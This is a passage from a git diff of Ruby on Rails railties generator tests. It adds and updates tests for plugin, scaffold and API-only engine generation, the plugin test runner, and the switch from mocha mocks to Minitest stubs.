'test/dummy/doc' + assert_no_directory 'test/dummy/test' + assert_no_directory 'test/dummy/vendor' + end + def test_skipping_test_files run_generator [destination_root, "--skip-test"] assert_no_file "test" - assert_file "bukkits.gemspec" do |contents| - assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents) - end assert_file '.gitignore' do |contents| assert_no_match(/test\dummy/, contents) end @@ -451,7 +486,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_no_file "bukkits.gemspec" assert_file "Gemfile" do |contents| assert_no_match('gemspec', contents) - assert_match(/gem 'rails', '~> #{Rails.version}'/, contents) + assert_match(/gem 'rails'/, contents) assert_match_sqlite3(contents) assert_no_match(/# gem "jquery-rails"/, contents) end @@ -462,7 +497,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_no_file "bukkits.gemspec" assert_file "Gemfile" do |contents| assert_no_match('gemspec', contents) - assert_match(/gem 'rails', '~> #{Rails.version}'/, contents) + assert_match(/gem 'rails'/, contents) assert_match_sqlite3(contents) end end @@ -544,6 +579,137 @@ class PluginGeneratorTest < Rails::Generators::TestCase end end + def test_skipping_useless_folders_generation_for_api_engines + ['--full', '--mountable'].each do |option| + run_generator [destination_root, option, '--api'] + + assert_no_directory "app/assets" + assert_no_directory "app/helpers" + assert_no_directory "app/views" + + FileUtils.rm_rf destination_root + end + end + + def test_application_controller_parent_for_mountable_api_plugins + run_generator [destination_root, '--mountable', '--api'] + + assert_file "app/controllers/bukkits/application_controller.rb" do |content| + assert_match "ApplicationController < ActionController::API", content + end + end + + def test_dummy_api_application_for_api_plugins + run_generator [destination_root, '--api'] + + assert_file "test/dummy/config/application.rb" do |content| + assert_match "config.api_only = true", content + end + end + + + def test_api_generators_configuration_for_api_engines + run_generator [destination_root, '--full', '--api'] + + assert_file "lib/bukkits/engine.rb" do |content| + assert_match "config.generators.api_only = true", content + end + end + + def test_scaffold_generator_for_mountable_api_plugins + run_generator [destination_root, '--mountable', '--api'] + + capture(:stdout) do + `#{destination_root}/bin/rails g scaffold article` + end + + assert_file "app/models/bukkits/article.rb" + assert_file "app/controllers/bukkits/articles_controller.rb" do |content| + assert_match "only: [:show, :update, :destroy]", content + end + + assert_no_directory "app/assets" + assert_no_directory "app/helpers" + assert_no_directory "app/views" + end + + def test_model_with_existent_application_record_in_mountable_engine + run_generator [destination_root, '--mountable'] + capture(:stdout) do + `#{destination_root}/bin/rails g model article` + end + + assert_file "app/models/bukkits/article.rb", /class Article < ApplicationRecord/ + end + + def test_generate_application_record_when_does_not_exist_in_mountable_engine + run_generator [destination_root, '--mountable'] + FileUtils.rm "#{destination_root}/app/models/bukkits/application_record.rb" + capture(:stdout) do + `#{destination_root}/bin/rails g model article` + end + + assert_file "#{destination_root}/app/models/bukkits/application_record.rb" do |record| + assert_match(/module Bukkits/, record) + assert_match(/class ApplicationRecord < ActiveRecord::Base/, record) + assert_match(/self.abstract_class = true/, record) + end + end + + def test_generate_application_mailer_when_does_not_exist_in_mountable_engine + run_generator [destination_root, '--mountable'] + FileUtils.rm "#{destination_root}/app/mailers/bukkits/application_mailer.rb" + capture(:stdout) do + `#{destination_root}/bin/rails g mailer User` + end + + assert_file "#{destination_root}/app/mailers/bukkits/application_mailer.rb" do |mailer| + assert_match(/module Bukkits/, mailer) + assert_match(/class ApplicationMailer < ActionMailer::Base/, mailer) + end + end + + def test_generate_application_job_when_does_not_exist_in_mountable_engine + run_generator [destination_root, '--mountable'] + FileUtils.rm "#{destination_root}/app/jobs/bukkits/application_job.rb" + capture(:stdout) do + `#{destination_root}/bin/rails g job refresh_counters` + end + + assert_file "#{destination_root}/app/jobs/bukkits/application_job.rb" do |record| + assert_match(/module Bukkits/, record) + assert_match(/class ApplicationJob < ActiveJob::Base/, record) + end + end + + def test_after_bundle_callback + path = 'http://example.org/rails_template' + template = %{ after_bundle { run 'echo ran after_bundle' } } + template.instance_eval "def read; self; end" # Make the string respond to read + + check_open = -> *args do + assert_equal [ path, 'Accept' => 'application/x-thor-template' ], args + template + end + + sequence = ['install', 'echo ran after_bundle'] + @sequence_step ||= 0 + ensure_bundler_first = -> command do + assert_equal sequence[@sequence_step], command, "commands should be called in sequence #{sequence}" + @sequence_step += 1 + end + + generator([destination_root], template: path).stub(:open, check_open, template) do + generator.stub(:bundle_command, ensure_bundler_first) do + generator.stub(:run, ensure_bundler_first) do + quietly { generator.invoke_all } + end + end + end + + assert_equal 2, @sequence_step + end + protected def action(*args, &block) silence(:stdout){ generator.send(*args, &block) } diff --git a/railties/test/generators/plugin_test_helper.rb b/railties/test/generators/plugin_test_helper.rb new file mode 100644 index 0000000000..96c1b1d31f --- /dev/null +++ b/railties/test/generators/plugin_test_helper.rb @@ -0,0 +1,24 @@ +require 'abstract_unit' +require 'tmpdir' + +module PluginTestHelper + def create_test_file(name, pass: true) + plugin_file "test/#{name}_test.rb", <<-RUBY + require 'test_helper' + + class #{name.camelize}Test < ActiveSupport::TestCase + def test_truth + puts "#{name.camelize}Test" + assert #{pass}, 'wups!' + end + end + RUBY + end + + def plugin_file(path, contents, mode: 'w') + FileUtils.mkdir_p File.dirname("#{plugin_path}/#{path}") + File.open("#{plugin_path}/#{path}", mode) do |f| + f.puts contents + end + end +end diff --git a/railties/test/generators/plugin_test_runner_test.rb b/railties/test/generators/plugin_test_runner_test.rb new file mode 100644 index 0000000000..ef6359fece --- /dev/null +++ b/railties/test/generators/plugin_test_runner_test.rb @@ -0,0 +1,97 @@ +require 'generators/plugin_test_helper' + +class PluginTestRunnerTest < ActiveSupport::TestCase + include PluginTestHelper + + def setup + @destination_root = Dir.mktmpdir('bukkits') + Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --skip-bundle` } + plugin_file 'test/dummy/db/schema.rb', '' + end + + def teardown + FileUtils.rm_rf(@destination_root) + end + + def test_run_single_file + create_test_file 'foo' + create_test_file 'bar' + assert_match "1 runs, 1 assertions, 0 failures", run_test_command("test/foo_test.rb") + end + + def test_run_multiple_files + create_test_file 'foo' + create_test_file 'bar' + assert_match "2 runs, 2 assertions, 0 failures", run_test_command("test/foo_test.rb test/bar_test.rb") + end + + def test_mix_files_and_line_filters + create_test_file 'account' + plugin_file 'test/post_test.rb', <<-RUBY + require 'test_helper' + + class PostTest < ActiveSupport::TestCase + def test_post + puts 'PostTest' + assert true + end + + def test_line_filter_does_not_run_this + assert true + end + end + RUBY + + run_test_command('test/account_test.rb test/post_test.rb:4').tap do |output| + assert_match 'AccountTest', output + assert_match 'PostTest', output + assert_match '2 runs, 2 assertions', output + end + end + + def test_multiple_line_filters + create_test_file 'account' + create_test_file 'post' + + run_test_command('test/account_test.rb:4 test/post_test.rb:4').tap do |output| + assert_match 'AccountTest', output + assert_match 'PostTest', output + end + end + + def test_output_inline_by_default + create_test_file 'post', pass: false + + output = run_test_command('test/post_test.rb') + expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/post_test.rb:6\]:\nwups!\n\nbin/test (/private)?#{plugin_path}/test/post_test.rb:4} + assert_match expect, output + end + + def test_only_inline_failure_output + create_test_file 'post', pass: false + + output = run_test_command('test/post_test.rb') + assert_match %r{Finished in.*\n\n1 runs, 1 assertions}, output + end + + def test_fail_fast + create_test_file 'post', pass: false + + assert_match(/Interrupt/, + capture(:stderr) { run_test_command('test/post_test.rb --fail-fast') }) + end + + def test_raise_error_when_specified_file_does_not_exist + error = capture(:stderr) { run_test_command('test/not_exists.rb') } + assert_match(%r{cannot load such file.+test/not_exists\.rb}, error) + end + + private + def plugin_path + "#{@destination_root}/bukkits" + end + + def run_test_command(arguments) + Dir.chdir(plugin_path) { `bin/test #{arguments}` } + end +end diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb index 581d80d60e..addaf83bc8 100644 --- a/railties/test/generators/resource_generator_test.rb +++ b/railties/test/generators/resource_generator_test.rb @@ -33,7 +33,7 @@ class ResourceGeneratorTest < Rails::Generators::TestCase def test_resource_controller_with_pluralized_class_name run_generator assert_file "app/controllers/accounts_controller.rb", /class AccountsController < ApplicationController/ - assert_file "test/controllers/accounts_controller_test.rb", /class AccountsControllerTest < ActionController::TestCase/ + assert_file "test/controllers/accounts_controller_test.rb", /class AccountsControllerTest < ActionDispatch::IntegrationTest/ assert_file "app/helpers/accounts_helper.rb", /module AccountsHelper/ end diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb index 34e752cea1..c37e289f4b 100644 --- a/railties/test/generators/scaffold_controller_generator_test.rb +++ b/railties/test/generators/scaffold_controller_generator_test.rb @@ -56,7 +56,7 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase assert_file "app/controllers/users_controller.rb" do |content| assert_match(/def user_params/, content) - assert_match(/params\[:user\]/, content) + assert_match(/params\.fetch\(:user, \{\}\)/, content) end end @@ -104,10 +104,10 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase run_generator ["User", "name:string", "age:integer", "organization:references{polymorphic}"] assert_file "test/controllers/users_controller_test.rb" do |content| - assert_match(/class UsersControllerTest < ActionController::TestCase/, content) + assert_match(/class UsersControllerTest < ActionDispatch::IntegrationTest/, content) assert_match(/test "should get index"/, content) - assert_match(/post :create, params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content) - assert_match(/patch :update, params: \{ id: @user, user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content) + assert_match(/post users_url, params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content) + assert_match(/patch user_url\(@user\), params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content) end end @@ -115,10 +115,10 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase run_generator ["User"] assert_file "test/controllers/users_controller_test.rb" do |content| - assert_match(/class UsersControllerTest < ActionController::TestCase/, content) + assert_match(/class UsersControllerTest < ActionDispatch::IntegrationTest/, content) assert_match(/test "should get index"/, content) - assert_match(/post :create, params: \{ user: \{ \} \}/, content) - assert_match(/patch :update, params: \{ id: @user, user: \{ \} \}/, content) + assert_match(/post users_url, params: \{ user: \{ \} \}/, content) + assert_match(/patch user_url\(@user\), params: \{ user: \{ \} \}/, content) end end @@ -174,4 +174,73 @@ class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase end end end + + def test_controller_tests_pass_by_default_inside_mountable_engine + Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` } + + engine_path = File.join(destination_root, "bukkits") + + Dir.chdir(engine_path) do + quietly { `bin/rails g controller dashboard foo` } + assert_match(/2 runs, 2 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`) + end + end + + def test_controller_tests_pass_by_default_inside_full_engine + Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full` } + + engine_path = File.join(destination_root, "bukkits") + + Dir.chdir(engine_path) do + quietly { `bin/rails g controller dashboard foo` } + assert_match(/2 runs, 2 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`) + end + end + + def test_api_only_generates_a_proper_api_controller + run_generator ["User", "--api"] + + assert_file "app/controllers/users_controller.rb" do |content| + assert_match(/class UsersController < ApplicationController/, content) + assert_no_match(/respond_to/, content) + + assert_match(/before_action :set_user, only: \[:show, :update, :destroy\]/, content) + + assert_instance_method :index, content do |m| + assert_match(/@users = User\.all/, m) + assert_match(/render json: @users/, m) + end + + assert_instance_method :show, content do |m| + assert_match(/render json: @user/, m) + end + + assert_instance_method :create, content do |m| + assert_match(/@user = User\.new\(user_params\)/, m) + assert_match(/@user\.save/, m) + assert_match(/@user\.errors/, m) + end + + assert_instance_method :update, content do |m| + assert_match(/@user\.update\(user_params\)/, m) + assert_match(/@user\.errors/, m) + end + + assert_instance_method :destroy, content do |m| + assert_match(/@user\.destroy/, m) + end + end + end + + def test_api_controller_tests + run_generator ["User", "name:string", "age:integer", "organization:references{polymorphic}", "--api"] + + assert_file "test/controllers/users_controller_test.rb" do |content| + assert_match(/class UsersControllerTest < ActionDispatch::IntegrationTest/, content) + assert_match(/test "should get index"/, content) + assert_match(/post users_url, params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content) + assert_match(/patch user_url\(@user\), params: \{ user: \{ age: @user\.age, name: @user\.name, organization_id: @user\.organization_id, organization_type: @user\.organization_type \} \}/, content) + assert_no_match(/assert_redirected_to/, content) + end + end end diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb index ee06802874..5e45120704 100644 --- a/railties/test/generators/scaffold_generator_test.rb +++ b/railties/test/generators/scaffold_generator_test.rb @@ -14,8 +14,8 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_file "app/models/product_line.rb", /class ProductLine < ActiveRecord::Base/ assert_file "test/models/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/ assert_file "test/fixtures/product_lines.yml" - assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product, index: true/ - assert_migration "db/migrate/create_product_lines.rb", /references :user, index: true/ + assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product/ + assert_migration "db/migrate/create_product_lines.rb", /references :user/ # Route assert_file "config/routes.rb" do |route| @@ -57,9 +57,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase end assert_file "test/controllers/product_lines_controller_test.rb" do |test| - assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, test) - assert_match(/post :create, params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test) - assert_match(/patch :update, params: \{ id: @product_line, product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test) + assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, test) + assert_match(/post product_lines_url, params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test) + assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test) end # Views @@ -87,14 +87,84 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_file "app/assets/stylesheets/product_lines.css" end + def test_api_scaffold_on_invoke + run_generator %w(product_line title:string product:belongs_to user:references --api --no-template-engine --no-helper --no-assets) + + # Model + assert_file "app/models/product_line.rb", /class ProductLine < ActiveRecord::Base/ + assert_file "test/models/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/ + assert_file "test/fixtures/product_lines.yml" + assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product/ + assert_migration "db/migrate/create_product_lines.rb", /references :user/ + + # Route + assert_file "config/routes.rb" do |route| + assert_match(/resources :product_lines$/, route) + end + + # Controller + assert_file "app/controllers/product_lines_controller.rb" do |content| + assert_match(/class ProductLinesController < ApplicationController/, content) + assert_no_match(/respond_to/, content) + + assert_match(/before_action :set_product_line, only: \[:show, :update, :destroy\]/, content) + + assert_instance_method :index, content do |m| + assert_match(/@product_lines = ProductLine\.all/, m) + assert_match(/render json: @product_lines/, m) + end + + assert_instance_method :show, content do |m| + assert_match(/render json: @product_line/, m) + end + + assert_instance_method :create, content do |m| + assert_match(/@product_line = ProductLine\.new\(product_line_params\)/, m) + assert_match(/@product_line\.save/, m) + assert_match(/@product_line\.errors/, m) + end + + assert_instance_method :update, content do |m| + assert_match(/@product_line\.update\(product_line_params\)/, m) + assert_match(/@product_line\.errors/, m) + end + + assert_instance_method :destroy, content do |m| + assert_match(/@product_line\.destroy/, m) + end + end + + assert_file "test/controllers/product_lines_controller_test.rb" do |test| + assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, test) + assert_match(/post product_lines_url, params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test) + assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test) + assert_no_match(/assert_redirected_to/, test) + end + + # Views + assert_no_file "app/views/layouts/product_lines.html.erb" + + %w(index show new edit _form).each do |view| + assert_no_file "app/views/product_lines/#{view}.html.erb" + end + + # Helpers + assert_no_file "app/helpers/product_lines_helper.rb" + + # Assets + assert_no_file "app/assets/stylesheets/scaffold.css" + assert_no_file "app/assets/javascripts/product_lines.js" + assert_no_file "app/assets/stylesheets/product_lines.css" + end + def test_functional_tests_without_attributes run_generator ["product_line"] assert_file "test/controllers/product_lines_controller_test.rb" do |content| - assert_match(/class ProductLinesControllerTest < ActionController::TestCase/, content) + assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, content) assert_match(/test "should get index"/, content) - assert_match(/post :create, params: \{ product_line: \{ \} \}/, content) - assert_match(/patch :update, params: \{ id: @product_line, product_line: \{ \} \}/, content) + assert_match(/post product_lines_url, params: \{ product_line: \{ \} \}/, content) + assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{ \} \}/, content) end end @@ -180,7 +250,7 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase end assert_file "test/controllers/admin/roles_controller_test.rb", - /class Admin::RolesControllerTest < ActionController::TestCase/ + /class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/ # Views %w(index edit new show _form).each do |view| @@ -282,6 +352,20 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_no_file "app/assets/stylesheets/posts.css" end + def test_scaffold_generator_no_scaffold_stylesheet_with_switch_no_scaffold_stylesheet + run_generator [ "posts", "--no-scaffold-stylesheet" ] + assert_no_file "app/assets/stylesheets/scaffold.css" + assert_file "app/assets/javascripts/posts.js" + assert_file "app/assets/stylesheets/posts.css" + end + + def test_scaffold_generator_no_scaffold_stylesheet_with_switch_scaffold_stylesheet_false + run_generator [ "posts", "--scaffold-stylesheet=false" ] + assert_no_file "app/assets/stylesheets/scaffold.css" + assert_file "app/assets/javascripts/posts.js" + assert_file "app/assets/stylesheets/posts.css" + end + def test_scaffold_generator_with_switch_resource_route_false run_generator [ "posts", "--resource-route=false" ] assert_file "config/routes.rb" do |route| @@ -393,4 +477,60 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_match(/password_digest: <%= BCrypt::Password.create\('secret'\) %>/, content) end end + + def test_scaffold_tests_pass_by_default_inside_mountable_engine + Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` } + + engine_path = File.join(destination_root, "bukkits") + + Dir.chdir(engine_path) do + quietly do + `bin/rails g scaffold User name:string age:integer; + bin/rails db:migrate` + end + assert_match(/8 runs, 13 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`) + end + end + + def test_scaffold_tests_pass_by_default_inside_full_engine + Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full` } + + engine_path = File.join(destination_root, "bukkits") + + Dir.chdir(engine_path) do + quietly do + `bin/rails g scaffold User name:string age:integer; + bin/rails db:migrate` + end + assert_match(/8 runs, 13 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`) + end + end + + def test_scaffold_tests_pass_by_default_inside_api_mountable_engine + Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable --api` } + + engine_path = File.join(destination_root, "bukkits") + + Dir.chdir(engine_path) do + quietly do + `bin/rails g scaffold User name:string age:integer; + bin/rails db:migrate` + end + assert_match(/6 runs, 8 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`) + end + end + + def test_scaffold_tests_pass_by_default_inside_api_full_engine + Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full --api` } + + engine_path = File.join(destination_root, "bukkits") + + Dir.chdir(engine_path) do + quietly do + `bin/rails g scaffold User name:string age:integer; + bin/rails db:migrate` + end + assert_match(/6 runs, 8 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`) + end + end end diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb index 68f07f29d7..e83d54890a 100644 --- a/railties/test/generators/shared_generator_tests.rb +++ b/railties/test/generators/shared_generator_tests.rb @@ -28,9 +28,22 @@ module SharedGeneratorTests def assert_generates_with_bundler(options = {}) generator([destination_root], options) - generator.expects(:bundle_command).with('install').once - generator.stubs(:bundle_command).with('exec spring binstub --all') - quietly { generator.invoke_all } + + command_check = -> command do + @install_called ||= 0 + + case command + when 'install' + @install_called += 1 + assert_equal 1, @install_called, "install expected to be called once, but was called #{@install_called} times" + when 'exec spring binstub --all' + # Called when running tests with spring, let through unscathed. + end + end + + generator.stub :bundle_command, command_check do + quietly { generator.invoke_all } + end end def test_generation_runs_bundle_install @@ -56,7 +69,7 @@ module SharedGeneratorTests reserved_words = %w[application destroy plugin runner test] reserved_words.each do |reserved| content = capture(:stderr){ run_generator [File.join(destination_root, reserved)] } - assert_match(/Invalid \w+ name #{reserved}. Please give a name which does not match one of the reserved rails words.\n/, content) + assert_match(/Invalid \w+ name #{reserved}. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\n/, content) end end @@ -86,22 +99,19 @@ module SharedGeneratorTests end end - def test_template_is_executed_when_supplied - path = "https://gist.github.com/josevalim/103208/raw/" - template = %{ say "It works!" } - template.instance_eval "def read; self; end" # Make the string respond to read - - generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template) - quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) } - end - def test_template_is_executed_when_supplied_an_https_path path = "https://gist.github.com/josevalim/103208/raw/" template = %{ say "It works!" } template.instance_eval "def read; self; end" # Make the string respond to read - generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template) - quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) } + check_open = -> *args do + assert_equal [ path, 'Accept' => 'application/x-thor-template' ], args + template + end + + generator([destination_root], template: path).stub(:open, check_open, template) do + quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) } + end end def test_dev_option @@ -116,29 +126,33 @@ module SharedGeneratorTests end def test_skip_gemfile - generator([destination_root], skip_gemfile: true).expects(:bundle_command).never - quietly { generator.invoke_all } - assert_no_file 'Gemfile' + assert_not_called(generator([destination_root], skip_gemfile: true), :bundle_command) do + quietly { generator.invoke_all } + assert_no_file 'Gemfile' + end end def test_skip_bundle - generator([destination_root], skip_bundle: true).expects(:bundle_command).never - quietly { generator.invoke_all } - - # skip_bundle is only about running bundle install, ensure the Gemfile is still - # generated. - assert_file 'Gemfile' + assert_not_called(generator([destination_root], skip_bundle: true), :bundle_command) do + quietly { generator.invoke_all } + # skip_bundle is only about running bundle install, ensure the Gemfile is still + # generated. + assert_file 'Gemfile' + end end def test_skip_git run_generator [destination_root, '--skip-git', '--full'] assert_no_file('.gitignore') - assert_file('app/mailers/.keep') end def test_skip_keeps run_generator [destination_root, '--skip-keeps', '--full'] - assert_file('.gitignore') - assert_no_file('app/mailers/.keep') + + assert_file '.gitignore' do |content| + assert_no_match(/\.keep/, content) + end + + assert_no_file('app/models/concerns/.keep') end end diff --git a/railties/test/generators/test_runner_in_engine_test.rb b/railties/test/generators/test_runner_in_engine_test.rb new file mode 100644 index 0000000000..d37e261fbb --- /dev/null +++ b/railties/test/generators/test_runner_in_engine_test.rb @@ -0,0 +1,32 @@ +require 'generators/plugin_test_helper' + +class TestRunnerInEngineTest < ActiveSupport::TestCase + include PluginTestHelper + + def setup + @destination_root = Dir.mktmpdir('bukkits') + Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --full --skip-bundle` } + plugin_file 'test/dummy/db/schema.rb', '' + end + + def teardown + FileUtils.rm_rf(@destination_root) + end + + def test_rerun_snippet_is_relative_path + create_test_file 'post', pass: false + + output = run_test_command('test/post_test.rb') + expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/post_test.rb:6\]:\nwups!\n\nbin/rails test test/post_test.rb:4} + assert_match expect, output + end + + private + def plugin_path + "#{@destination_root}/bukkits" + end + + def run_test_command(arguments) + Dir.chdir(plugin_path) { `bin/rails test #{arguments}` } + end +end diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb index 127e059bf1..291415858c 100644 --- a/railties/test/generators_test.rb +++ b/railties/test/generators_test.rb @@ -1,7 +1,6 @@ require 'generators/generators_test_helper' require 'rails/generators/rails/model/model_generator' require 'rails/generators/test_unit/model/model_generator' -require 'mocha/setup' # FIXME: stop using mocha class GeneratorsTest < Rails::Generators::TestCase include GeneratorsTestHelper @@ -17,8 +16,9 @@ class GeneratorsTest < Rails::Generators::TestCase def test_simple_invoke assert File.exist?(File.join(@path, 'generators', 'model_generator.rb')) - TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {}) - Rails::Generators.invoke("test_unit:model", ["Account"]) + assert_called_with(TestUnit::Generators::ModelGenerator, :start, [["Account"], {}]) do + Rails::Generators.invoke("test_unit:model", ["Account"]) + end end def test_invoke_when_generator_is_not_found @@ -34,6 +34,12 @@ class GeneratorsTest < Rails::Generators::TestCase assert_match "Maybe you meant 'migration'", output end + def test_generator_multiple_suggestions + name = :tas + output = capture(:stdout){ Rails::Generators.invoke name } + assert_match "Maybe you meant 'task', 'job' or", output + end + def test_help_when_a_generator_with_required_arguments_is_invoked_without_arguments output = capture(:stdout){ Rails::Generators.invoke :model, [] } assert_match(/Description:/, output) @@ -41,19 +47,22 @@ class GeneratorsTest < Rails::Generators::TestCase def test_should_give_higher_preference_to_rails_generators assert File.exist?(File.join(@path, 'generators', 'model_generator.rb')) - Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {}) - warnings = capture(:stderr){ Rails::Generators.invoke :model, ["Account"] } - assert warnings.empty? + assert_called_with(Rails::Generators::ModelGenerator, :start, [["Account"], {}]) do + warnings = capture(:stderr){ Rails::Generators.invoke :model, ["Account"] } + assert warnings.empty? + end end def test_invoke_with_default_values - Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {}) - Rails::Generators.invoke :model, ["Account"] + assert_called_with(Rails::Generators::ModelGenerator, :start, [["Account"], {}]) do + Rails::Generators.invoke :model, ["Account"] + end end def test_invoke_with_config_values - Rails::Generators::ModelGenerator.expects(:start).with(["Account"], behavior: :skip) - Rails::Generators.invoke :model, ["Account"], behavior: :skip + assert_called_with(Rails::Generators::ModelGenerator, :start, [["Account"], behavior: :skip]) do + Rails::Generators.invoke :model, ["Account"], behavior: :skip + end end def test_find_by_namespace @@ -97,11 +106,12 @@ class GeneratorsTest < Rails::Generators::TestCase end def test_invoke_with_nested_namespaces - model_generator = mock('ModelGenerator') do - expects(:start).with(["Account"], {}) + model_generator = Minitest::Mock.new + model_generator.expect(:start, nil, [["Account"], {}]) + assert_called_with(Rails::Generators, :find_by_namespace, ['namespace', 'my:awesome'], returns: model_generator) do + Rails::Generators.invoke 'my:awesome:namespace', ["Account"] end - Rails::Generators.expects(:find_by_namespace).with('namespace', 'my:awesome').returns(model_generator) - Rails::Generators.invoke 'my:awesome:namespace', ["Account"] + model_generator.verify end def test_rails_generators_help_with_builtin_information @@ -167,8 +177,9 @@ class GeneratorsTest < Rails::Generators::TestCase def test_fallbacks_for_generators_on_invoke Rails::Generators.fallbacks[:shoulda] = :test_unit - TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {}) - Rails::Generators.invoke "shoulda:model", ["Account"] + assert_called_with(TestUnit::Generators::ModelGenerator, :start, [["Account"], {}]) do + Rails::Generators.invoke "shoulda:model", ["Account"] + end ensure Rails::Generators.fallbacks.delete(:shoulda) end @@ -176,8 +187,9 @@ class GeneratorsTest < Rails::Generators::TestCase def test_nested_fallbacks_for_generators Rails::Generators.fallbacks[:shoulda] = :test_unit Rails::Generators.fallbacks[:super_shoulda] = :shoulda - TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {}) - Rails::Generators.invoke "super_shoulda:model", ["Account"] + assert_called_with(TestUnit::Generators::ModelGenerator, :start, [["Account"], {}]) do + Rails::Generators.invoke "super_shoulda:model", ["Account"] + end ensure Rails::Generators.fallbacks.delete(:shoulda) Rails::Generators.fallbacks.delete(:super_shoulda) diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb index 63209559d7..52e0277633 100644 --- a/railties/test/isolation/abstract_unit.rb +++ b/railties/test/isolation/abstract_unit.rb @@ -51,7 +51,12 @@ module TestHelpers old_env = ENV["RAILS_ENV"] @app ||= begin ENV["RAILS_ENV"] = env - require "#{app_path}/config/environment" + + # FIXME: shush Sass warning spam, not relevant to testing Railties + Kernel.silence_warnings do + require "#{app_path}/config/environment" + end + Rails.application end ensure @@ -69,10 +74,12 @@ module TestHelpers end def assert_welcome(resp) + resp = Array(resp) + assert_equal 200, resp[0] assert_match 'text/html', resp[1]["Content-Type"] assert_match 'charset=utf-8', resp[1]["Content-Type"] - assert extract_body(resp).match(/Welcome aboard/) + assert extract_body(resp).match(/Yay! You.*re on Rails!/) end def assert_success(resp) @@ -117,7 +124,7 @@ module TestHelpers routes = File.read("#{app_path}/config/routes.rb") if routes =~ /(\n\s*end\s*)\Z/ File.open("#{app_path}/config/routes.rb", 'w') do |f| - f.puts $` + "\nmatch ':controller(/:action(/:id))(.:format)', via: :all\n" + $1 + f.puts $` + "\nActiveSupport::Deprecation.silence { match ':controller(/:action(/:id))(.:format)', via: :all }\n" + $1 end end @@ -159,19 +166,20 @@ module TestHelpers require "rails" require "action_controller/railtie" require "action_view/railtie" + require 'action_dispatch/middleware/flash' - app = Class.new(Rails::Application) - app.config.eager_load = false - app.secrets.secret_key_base 